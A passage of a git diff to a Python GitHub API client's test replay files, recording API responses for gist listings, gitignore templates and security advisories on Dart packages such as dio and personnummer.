2.9.1","created_at":"2012-05-19T00:38:53Z","id":"2728369"},{"updated_at":"2012-05-19T00:37:08Z","url":"https://api.github.com/gists/2728360","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728360.git","git_push_url":"git@gist.github.com:2728360.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728360/548cc17c6bcdc36b3fb28d7002798ed856f9476f/gistfile1.txt","size":545,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728360","user":{"url":"https://api.github.com/users/lkuper","gravatar_id":"07293d028e67783e7571b109dbedb472","avatar_url":"https://secure.gravatar.com/avatar/07293d028e67783e7571b109dbedb472?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"lkuper","id":535218},"description":"","created_at":"2012-05-19T00:37:08Z","id":"2728360"},{"updated_at":"2012-05-19T00:34:46Z","url":"https://api.github.com/gists/2728325","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728325.git","git_push_url":"git@gist.github.com:2728325.git","files":{"InterceptWithAttributeEntity2.cs":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728325/5adfaf1da715c87f0bb7c7647165705f8c2f8df2/InterceptWithAttributeEntity2.cs","size":3494,"filename":"InterceptWithAttributeEntity2.cs","language":"C#"}},"html_url":"https://gist.github.com/2728325","user":{"url":"https://api.github.com/users/jpolvora","gravatar_id":"1af1996c69c3c6016cbdec50a6c7caf0","avatar_url":"https://secure.gravatar.com/avatar/1af1996c69c3c6016cbdec50a6c7caf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jpolvora","id":955554},"description":"InterceptWithAttributeEntity2","created_at":"2012-05-19T00:34:46Z","id":"2728325"},{"updated_at":"2012-05-19T00:34:16Z","url":"https://api.github.com/gists/2728316","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728316.git","git_push_url":"git@gist.github.com:2728316.git","files":{"Makefile.in":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728316/e48c49a7cf8d9080db9fde5c243d99bf3bdefc46/Makefile.in","size":636,"filename":"Makefile.in","language":null}},"html_url":"https://gist.github.com/2728316","user":{"url":"https://api.github.com/users/shujinarazaki","gravatar_id":"7cbf6733aa281603ea83b22ada147691","avatar_url":"https://secure.gravatar.com/avatar/7cbf6733aa281603ea83b22ada147691?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"shujinarazaki","id":997855},"description":"Emacs trunk/Makefile.in","created_at":"2012-05-19T00:34:16Z","id":"2728316"},{"updated_at":"2012-05-19T00:30:53Z","url":"https://api.github.com/gists/2728309","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728309.git","git_push_url":"git@gist.github.com:2728309.git","files":{"sphere.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2728309/685095bf3e1bd9888c857ca13b16908e42ca2a47/sphere.js","size":156,"filename":"sphere.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2728309","user":{"url":"https://api.github.com/users/bmander","gravatar_id":"ffb24930250fe5b9dc676c63716ee085","avatar_url":"https://secure.gravatar.com/avatar/ffb24930250fe5b9dc676c63716ee085?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bmander","id":51985},"description":"jscad sphere","created_at":"2012-05-19T00:30:53Z","id":"2728309"},{"updated_at":"2012-05-19T00:29:11Z","url":"https://api.github.com/gists/2728306","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728306.git","git_push_url":"git@gist.github.com:2728306.git","files":{"Component":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728306/c247a20395c5c2dd20e67fca9300456e457fa17f/Component","size":147,"filename":"Component","language":null}},"html_url":"https://gist.github.com/2728306","user":{"url":"https://api.github.com/users/vladiim","gravatar_id":"5efae54b9db4f9a847b27f8baf9261db","avatar_url":"https://secure.gravatar.com/avatar/5efae54b9db4f9a847b27f8baf9261db?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vladiim","id":701194},"description":"","created_at":"2012-05-19T00:29:11Z","id":"2728306"}] - diff --git a/tests/ReplayData/Github.testGetGistsWithSince.txt b/tests/ReplayData/Github.testGetGistsWithSince.txt index 9748985a69..27144375a1 100644 --- a/tests/ReplayData/Github.testGetGistsWithSince.txt +++ b/tests/ReplayData/Github.testGetGistsWithSince.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Oct 2018 10:39:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1538478827'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('ETag', 'W/"5437ff694e11dc6803fe9a1d5665c7ba"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.063530'), ('Content-Encoding', 'gzip')] [{"url":"https://api.github.com/gists/69b8a5831b74946db944c5451017fa40","forks_url":"https://api.github.com/gists/69b8a5831b74946db944c5451017fa40/forks","commits_url":"https://api.github.com/gists/69b8a5831b74946db944c5451017fa40/commits","id":"69b8a5831b74946db944c5451017fa40","node_id":"MDQ6R2lzdDY5YjhhNTgzMWI3NDk0NmRiOTQ0YzU0NTEwMTdmYTQw","git_pull_url":"https://gist.github.com/69b8a5831b74946db944c5451017fa40.git","git_push_url":"https://gist.github.com/69b8a5831b74946db944c5451017fa40.git","html_url":"https://gist.github.com/69b8a5831b74946db944c5451017fa40","files":{"flasks.gs":{"filename":"flasks.gs","type":"text/plain","language":"JavaScript","raw_url":"https://gist.githubusercontent.com/Kungfumoo/69b8a5831b74946db944c5451017fa40/raw/6caa5966d3540b56b1b3da9a21f46318a78cfa65/flasks.gs","size":550}},"public":true,"created_at":"2018-10-02T10:38:40Z","updated_at":"2018-10-02T10:38:40Z","description":"Omen flasks cheat sheet generator","comments":0,"user":null,"comments_url":"https://api.github.com/gists/69b8a5831b74946db944c5451017fa40/comments","owner":{"login":"Kungfumoo","id":11707939,"node_id":"MDQ6VXNlcjExNzA3OTM5","avatar_url":"https://avatars3.githubusercontent.com/u/11707939?v=4","gravatar_id":"","url":"https://api.github.com/users/Kungfumoo","html_url":"https://github.com/Kungfumoo","followers_url":"https://api.github.com/users/Kungfumoo/followers","following_url":"https://api.github.com/users/Kungfumoo/following{/other_user}","gists_url":"https://api.github.com/users/Kungfumoo/gists{/gist_id}","starred_url":"https://api.github.com/users/Kungfumoo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Kungfumoo/subscriptions","organizations_url":"https://api.github.com/users/Kungfumoo/orgs","repos_url":"https://api.github.com/users/Kungfumoo/repos","events_url":"https://api.github.com/users/Kungfumoo/events{/privacy}","received_events_url":"https://api.github.com/users/Kungfumoo/received_events","type":"User","site_admin":false},"truncated":false},{"url":"https://api.github.com/gists/c22050a8705e93d170e0d4ca9c02e40c","forks_url":"https://api.github.com/gists/c22050a8705e93d170e0d4ca9c02e40c/forks","commits_url":"https://api.github.com/gists/c22050a8705e93d170e0d4ca9c02e40c/commits","id":"c22050a8705e93d170e0d4ca9c02e40c","node_id":"MDQ6R2lzdGMyMjA1MGE4NzA1ZTkzZDE3MGUwZDRjYTljMDJlNDBj","git_pull_url":"https://gist.github.com/c22050a8705e93d170e0d4ca9c02e40c.git","git_push_url":"https://gist.github.com/c22050a8705e93d170e0d4ca9c02e40c.git","html_url":"https://gist.github.com/c22050a8705e93d170e0d4ca9c02e40c","files":{"gistfile1.txt":{"filename":"gistfile1.txt","type":"text/plain","language":"Text","raw_url":"https://gist.githubusercontent.com/dev16pk/c22050a8705e93d170e0d4ca9c02e40c/raw/11bf41c91d5e5619970ebd789810245cd9dfe062/gistfile1.txt","size":23801}},"public":true,"created_at":"2018-10-02T09:33:17Z","updated_at":"2018-10-02T10:38:41Z","description":"","comments":0,"user":null,"comments_url":"https://api.github.com/gists/c22050a8705e93d170e0d4ca9c02e40c/comments","owner":{"login":"dev16pk","id":43778180,"node_id":"MDQ6VXNlcjQzNzc4MTgw","avatar_url":"https://avatars2.githubusercontent.com/u/43778180?v=4","gravatar_id":"","url":"https://api.github.com/users/dev16pk","html_url":"https://github.com/dev16pk","followers_url":"https://api.github.com/users/dev16pk/followers","following_url":"https://api.github.com/users/dev16pk/following{/other_user}","gists_url":"https://api.github.com/users/dev16pk/gists{/gist_id}","starred_url":"https://api.github.com/users/dev16pk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dev16pk/subscriptions","organizations_url":"https://api.github.com/users/dev16pk/orgs","repos_url":"https://api.github.com/users/dev16pk/repos","events_url":"https://api.github.com/users/dev16pk/events{/privacy}","received_events_url":"https://api.github.com/users/dev16pk/received_events","type":"User","site_admin":false},"truncated":false},{"url":"https://api.github.com/gists/a7a95e1a194e07960364a5b32c56ac5f","forks_url":"https://api.github.com/gists/a7a95e1a194e07960364a5b32c56ac5f/forks","commits_url":"https://api.github.com/gists/a7a95e1a194e07960364a5b32c56ac5f/commits","id":"a7a95e1a194e07960364a5b32c56ac5f","node_id":"MDQ6R2lzdGE3YTk1ZTFhMTk0ZTA3OTYwMzY0YTViMzJjNTZhYzVm","git_pull_url":"https://gist.github.com/a7a95e1a194e07960364a5b32c56ac5f.git","git_push_url":"https://gist.github.com/a7a95e1a194e07960364a5b32c56ac5f.git","html_url":"https://gist.github.com/a7a95e1a194e07960364a5b32c56ac5f","files":{"cube.py":{"filename":"cube.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/21d49b66ae3a73647d25e06eeb895ab74ff0111a/cube.py","size":4280},"orig.py":{"filename":"orig.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/d080a0ec78420d8d1ffee95e9f0e4efa628582bb/orig.py","size":658},"quad.py":{"filename":"quad.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/fc2b911d1e836d37eac9fc8345a3c24255983a7f/quad.py","size":3036},"red_triangle.py":{"filename":"red_triangle.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/a6a47c835b49e05b5038ecbcb0d42ea951e1c1c9/red_triangle.py","size":1845},"resources.txt":{"filename":"resources.txt","type":"text/plain","language":"Text","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/5da461e4e71d5066036d7533a145616295ac161f/resources.txt","size":208},"tex_quad.py":{"filename":"tex_quad.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/f076b974b417acc3765699e88115fef052448a88/tex_quad.py","size":4586},"tex_quad_png.py":{"filename":"tex_quad_png.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/0ceb0b41080051be64045f99d8dc3a52af2ab730/tex_quad_png.py","size":4872},"triangle.py":{"filename":"triangle.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/79f9926a5e68c97d7b5b595065d55556cbc25942/triangle.py","size":2625}},"public":true,"created_at":"2018-10-01T13:00:38Z","updated_at":"2018-10-02T10:39:06Z","description":"","comments":0,"user":null,"comments_url":"https://api.github.com/gists/a7a95e1a194e07960364a5b32c56ac5f/comments","owner":{"login":"DatHydroGuy","id":28946117,"node_id":"MDQ6VXNlcjI4OTQ2MTE3","avatar_url":"https://avatars2.githubusercontent.com/u/28946117?v=4","gravatar_id":"","url":"https://api.github.com/users/DatHydroGuy","html_url":"https://github.com/DatHydroGuy","followers_url":"https://api.github.com/users/DatHydroGuy/followers","following_url":"https://api.github.com/users/DatHydroGuy/following{/other_user}","gists_url":"https://api.github.com/users/DatHydroGuy/gists{/gist_id}","starred_url":"https://api.github.com/users/DatHydroGuy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/DatHydroGuy/subscriptions","organizations_url":"https://api.github.com/users/DatHydroGuy/orgs","repos_url":"https://api.github.com/users/DatHydroGuy/repos","events_url":"https://api.github.com/users/DatHydroGuy/events{/privacy}","received_events_url":"https://api.github.com/users/DatHydroGuy/received_events","type":"User","site_admin":false},"truncated":false},{"url":"https://api.github.com/gists/a25d9ace89b574f95bf0724f95a84fc2","forks_url":"https://api.github.com/gists/a25d9ace89b574f95bf0724f95a84fc2/forks","commits_url":"https://api.github.com/gists/a25d9ace89b574f95bf0724f95a84fc2/commits","id":"a25d9ace89b574f95bf0724f95a84fc2","node_id":"MDQ6R2lzdGEyNWQ5YWNlODliNTc0Zjk1YmYwNzI0Zjk1YTg0ZmMy","git_pull_url":"https://gist.github.com/a25d9ace89b574f95bf0724f95a84fc2.git","git_push_url":"https://gist.github.com/a25d9ace89b574f95bf0724f95a84fc2.git","html_url":"https://gist.github.com/a25d9ace89b574f95bf0724f95a84fc2","files":{"cloudSettings":{"filename":"cloudSettings","type":"text/plain","language":null,"raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/32a15df0ba869ec808f71326318f53c6fea8f563/cloudSettings","size":69},"extensions.json":{"filename":"extensions.json","type":"application/json","language":"JSON","raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/91c63643f88e5a49e0535dac8cb4e032cc1d3ecb/extensions.json","size":4919},"keybindings.json":{"filename":"keybindings.json","type":"application/json","language":"JSON","raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/1aa5dc1d6d49433f0f8d3d76c850a9aa04afe7df/keybindings.json","size":252},"keybindingsMac.json":{"filename":"keybindingsMac.json","type":"application/json","language":"JSON","raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/3668f61b827e05ac961afc397c2508d96d8f52b6/keybindingsMac.json","size":451},"settings.json":{"filename":"settings.json","type":"application/json","language":"JSON","raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/22736bf652105853165f15c1bb21c7ab7de4a162/settings.json","size":1396},"vsicons.settings.json":{"filename":"vsicons.settings.json","type":"application/json","language":"JSON","raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/200c1042e6c2ba59597daf7981029cbd353fee6c/vsicons.settings.json","size":51}},"public":true,"created_at":"2018-07-05T12:23:18Z","updated_at":"2018-10-02T10:38:38Z","description":"Visual Studio Code Settings Sync Gist","comments":0,"user":null,"comments_url":"https://api.github.com/gists/a25d9ace89b574f95bf0724f95a84fc2/comments","owner":{"login":"lloydh","id":438273,"node_id":"MDQ6VXNlcjQzODI3Mw==","avatar_url":"https://avatars0.githubusercontent.com/u/438273?v=4","gravatar_id":"","url":"https://api.github.com/users/lloydh","html_url":"https://github.com/lloydh","followers_url":"https://api.github.com/users/lloydh/followers","following_url":"https://api.github.com/users/lloydh/following{/other_user}","gists_url":"https://api.github.com/users/lloydh/gists{/gist_id}","starred_url":"https://api.github.com/users/lloydh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lloydh/subscriptions","organizations_url":"https://api.github.com/users/lloydh/orgs","repos_url":"https://api.github.com/users/lloydh/repos","events_url":"https://api.github.com/users/lloydh/events{/privacy}","received_events_url":"https://api.github.com/users/lloydh/received_events","type":"User","site_admin":false},"truncated":false},{"url":"https://api.github.com/gists/3195465","forks_url":"https://api.github.com/gists/3195465/forks","commits_url":"https://api.github.com/gists/3195465/commits","id":"3195465","node_id":"MDQ6R2lzdDMxOTU0NjU=","git_pull_url":"https://gist.github.com/3195465.git","git_push_url":"https://gist.github.com/3195465.git","html_url":"https://gist.github.com/3195465","files":{"osx-for-hackers.sh":{"filename":"osx-for-hackers.sh","type":"application/x-sh","language":"Shell","raw_url":"https://gist.githubusercontent.com/brandonb927/3195465/raw/349f7b1d57733ac573177bc9af1b1be7ee35de1b/osx-for-hackers.sh","size":28235}},"public":true,"created_at":"2012-07-29T00:43:43Z","updated_at":"2018-10-02T10:39:05Z","description":"OSX for Hackers: Yosemite/El Capitan Edition. This script tries not to be *too* opinionated and any major changes to your system require a prompt. You've been warned.","comments":134,"user":null,"comments_url":"https://api.github.com/gists/3195465/comments","owner":{"login":"brandonb927","id":1509352,"node_id":"MDQ6VXNlcjE1MDkzNTI=","avatar_url":"https://avatars2.githubusercontent.com/u/1509352?v=4","gravatar_id":"","url":"https://api.github.com/users/brandonb927","html_url":"https://github.com/brandonb927","followers_url":"https://api.github.com/users/brandonb927/followers","following_url":"https://api.github.com/users/brandonb927/following{/other_user}","gists_url":"https://api.github.com/users/brandonb927/gists{/gist_id}","starred_url":"https://api.github.com/users/brandonb927/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brandonb927/subscriptions","organizations_url":"https://api.github.com/users/brandonb927/orgs","repos_url":"https://api.github.com/users/brandonb927/repos","events_url":"https://api.github.com/users/brandonb927/events{/privacy}","received_events_url":"https://api.github.com/users/brandonb927/received_events","type":"User","site_admin":false},"truncated":false}] - diff --git a/tests/ReplayData/Github.testGetGitignoreTemplate.txt b/tests/ReplayData/Github.testGetGitignoreTemplate.txt index d643f1e766..0faba4c108 100644 --- a/tests/ReplayData/Github.testGetGitignoreTemplate.txt +++ b/tests/ReplayData/Github.testGetGitignoreTemplate.txt @@ -13,10 +13,9 @@ https GET api.github.com None -/gitignore/templates/C++ +/gitignore/templates/C%2B%2B {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '165'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4989'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d01fd87df4d9c3bc861c8ccf8f7aa9f0"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 21 Dec 2012 19:56:03 GMT'), ('content-type', 'application/json; charset=utf-8')] {"source":"# Compiled Object files\n*.slo\n*.lo\n*.o\n\n# Compiled Dynamic libraries\n*.so\n*.dylib\n\n# Compiled Static libraries\n*.lai\n*.la\n*.a\n","name":"C++"} - diff --git a/tests/ReplayData/Github.testGetGitignoreTemplates.txt b/tests/ReplayData/Github.testGetGitignoreTemplates.txt index f8eee46f50..869f551571 100644 --- a/tests/ReplayData/Github.testGetGitignoreTemplates.txt +++ b/tests/ReplayData/Github.testGetGitignoreTemplates.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '757'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4993'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"cc8e8df5d003cd489fd90931fa7f751a"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 21 Dec 2012 19:54:21 GMT'), ('content-type', 'application/json; charset=utf-8')] ["Actionscript","Android","AppceleratorTitanium","Autotools","Bancha","C","C++","CFWheels","CMake","CSharp","CakePHP","Clojure","CodeIgniter","Compass","Concrete5","Coq","Delphi","Django","Drupal","Erlang","ExpressionEngine","Finale","ForceDotCom","FuelPHP","GWT","Go","Grails","Haskell","Java","Jboss","Jekyll","Joomla","Jython","Kohana","LaTeX","Leiningen","LemonStand","Lilypond","Lithium","Magento","Maven","Node","OCaml","Objective-C","Opa","OracleForms","Perl","PlayFramework","Python","Qooxdoo","Qt","R","Rails","RhodesRhomobile","Ruby","Scala","Sdcc","SeamGen","SketchUp","SugarCRM","Symfony","Symfony2","SymphonyCMS","Target3001","Tasm","Textpattern","TurboGears2","Unity","VB.Net","Waf","Wordpress","Yii","ZendFramework","gcov","nanoc","opencart"] - diff --git a/tests/ReplayData/Github.testGetGlobalAdvisories.txt b/tests/ReplayData/Github.testGetGlobalAdvisories.txt new file mode 100644 index 0000000000..55410ccffa --- /dev/null +++ b/tests/ReplayData/Github.testGetGlobalAdvisories.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/advisories?ecosystem=pub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Fri, 28 Jul 2023 18:54:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fba15b10069bf266cb749c09bebad4b04d4ef2c045da2a75019118a6bb4ee964"'), ('Last-Modified', 'Fri, 31 Mar 2023 05:06:53 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1690574081'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B1CE:21EC:825434:1075227:64C40EF1')] +[{"ghsa_id":"GHSA-9324-jv53-9cc8","cve_id":"CVE-2021-31402","url":"https://api.github.com/advisories/GHSA-9324-jv53-9cc8","html_url":"https://github.com/advisories/GHSA-9324-jv53-9cc8","summary":"dio vulnerable to CRLF injection with HTTP method string","description":"### Impact\nThe dio package 4.0.0 for Dart allows CRLF injection if the attacker controls the HTTP method string, a different vulnerability than CVE-2020-35669.\n\n### Patches\nThe vulnerability has been resolved by https://github.com/cfug/dio/commit/927f79e93ba39f3c3a12c190624a55653d577984, and included since v5.0.0.\n\n### Workarounds\nCherry-pick the commit to your own fork can resolves the vulberability too.\n\n### References\n- https://nvd.nist.gov/vuln/detail/CVE-2021-31402\n- https://osv.dev/GHSA-jwpw-q68h-r678\n- https://github.com/cfug/dio/issues/1130\n- https://github.com/cfug/dio/issues/1752\n","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/cfug/dio/security-advisories/GHSA-9324-jv53-9cc8","source_code_location":"https://github.com/cfug/dio","identifiers":[{"value":"GHSA-9324-jv53-9cc8","type":"GHSA"},{"value":"CVE-2021-31402","type":"CVE"}],"references":["https://github.com/cfug/dio/security/advisories/GHSA-9324-jv53-9cc8","https://nvd.nist.gov/vuln/detail/CVE-2021-31402","https://github.com/cfug/dio/issues/1752","https://github.com/flutterchina/dio/issues/1130","https://github.com/cfug/dio/commit/927f79e93ba39f3c3a12c190624a55653d577984","https://osv.dev/GHSA-jwpw-q68h-r678","https://github.com/advisories/GHSA-9324-jv53-9cc8"],"published_at":"2023-03-21T22:41:11Z","updated_at":"2023-03-22T01:39:28Z","github_reviewed_at":"2023-03-21T22:41:11Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pub","name":"dio"},"vulnerable_version_range":"< 5.0.0","first_patched_version":"5.0.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5},"cwes":[{"cwe_id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')"},{"cwe_id":"CWE-88","name":"Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')"},{"cwe_id":"CWE-93","name":"Improper Neutralization of CRLF Sequences ('CRLF Injection')"}],"credits":[{"user":{"login":"licy183","id":45286352,"node_id":"MDQ6VXNlcjQ1Mjg2MzUy","avatar_url":"https://avatars.githubusercontent.com/u/45286352?v=4","gravatar_id":"","url":"https://api.github.com/users/licy183","html_url":"https://github.com/licy183","followers_url":"https://api.github.com/users/licy183/followers","following_url":"https://api.github.com/users/licy183/following{/other_user}","gists_url":"https://api.github.com/users/licy183/gists{/gist_id}","starred_url":"https://api.github.com/users/licy183/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/licy183/subscriptions","organizations_url":"https://api.github.com/users/licy183/orgs","repos_url":"https://api.github.com/users/licy183/repos","events_url":"https://api.github.com/users/licy183/events{/privacy}","received_events_url":"https://api.github.com/users/licy183/received_events","type":"User","site_admin":false},"type":"reporter"},{"user":{"login":"AlexV525","id":15884415,"node_id":"MDQ6VXNlcjE1ODg0NDE1","avatar_url":"https://avatars.githubusercontent.com/u/15884415?v=4","gravatar_id":"","url":"https://api.github.com/users/AlexV525","html_url":"https://github.com/AlexV525","followers_url":"https://api.github.com/users/AlexV525/followers","following_url":"https://api.github.com/users/AlexV525/following{/other_user}","gists_url":"https://api.github.com/users/AlexV525/gists{/gist_id}","starred_url":"https://api.github.com/users/AlexV525/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AlexV525/subscriptions","organizations_url":"https://api.github.com/users/AlexV525/orgs","repos_url":"https://api.github.com/users/AlexV525/repos","events_url":"https://api.github.com/users/AlexV525/events{/privacy}","received_events_url":"https://api.github.com/users/AlexV525/received_events","type":"User","site_admin":false},"type":"remediation_developer"},{"user":{"login":"set0x","id":15133015,"node_id":"MDQ6VXNlcjE1MTMzMDE1","avatar_url":"https://avatars.githubusercontent.com/u/15133015?v=4","gravatar_id":"","url":"https://api.github.com/users/set0x","html_url":"https://github.com/set0x","followers_url":"https://api.github.com/users/set0x/followers","following_url":"https://api.github.com/users/set0x/following{/other_user}","gists_url":"https://api.github.com/users/set0x/gists{/gist_id}","starred_url":"https://api.github.com/users/set0x/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/set0x/subscriptions","organizations_url":"https://api.github.com/users/set0x/orgs","repos_url":"https://api.github.com/users/set0x/repos","events_url":"https://api.github.com/users/set0x/events{/privacy}","received_events_url":"https://api.github.com/users/set0x/received_events","type":"User","site_admin":false},"type":"reporter"}]},{"ghsa_id":"GHSA-9f2c-xxfm-32mj","cve_id":null,"url":"https://api.github.com/advisories/GHSA-9f2c-xxfm-32mj","html_url":"https://github.com/advisories/GHSA-9f2c-xxfm-32mj","summary":"Duplicate of GHSA-4xh4-v2pq-jvhm","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of [GHSA-4xh4-v2pq-jvhm](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm). This link is maintained to preserve external references.\n\n## Original Description\n\nThe personnummer implementation before 3.0.3 for Dart mishandles numbers in which the last four digits match the ^000[0-9]$ regular expression.","type":"reviewed","severity":"low","repository_advisory_url":null,"source_code_location":"","identifiers":[{"value":"GHSA-9f2c-xxfm-32mj","type":"GHSA"}],"references":["https://github.com/personnummer/dart/security/advisories/GHSA-4xh4-v2pq-jvhm","https://nvd.nist.gov/vuln/detail/CVE-2023-22963","https://github.com/advisories/GHSA-4xh4-v2pq-jvhm","https://github.com/advisories/GHSA-9f2c-xxfm-32mj"],"published_at":"2023-01-11T06:30:20Z","updated_at":"2023-01-27T05:03:48Z","github_reviewed_at":"2023-01-11T18:58:40Z","nvd_published_at":"2023-01-11T06:15:00Z","withdrawn_at":"2023-01-11T18:58:40Z","vulnerabilities":[{"package":{"ecosystem":"pub","name":"personnummer"},"vulnerable_version_range":"< 3.0.3","first_patched_version":"3.0.3","vulnerable_functions":[]}],"cvss":{"vector_string":null,"score":null},"cwes":[],"credits":[]},{"ghsa_id":"GHSA-4xh4-v2pq-jvhm","cve_id":"CVE-2023-22963","url":"https://api.github.com/advisories/GHSA-4xh4-v2pq-jvhm","html_url":"https://github.com/advisories/GHSA-4xh4-v2pq-jvhm","summary":"personnummer/dart vulnerable to Improper Input Validation","description":"This vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\nThe vulnerability is determined to be low severity.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer. \n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2 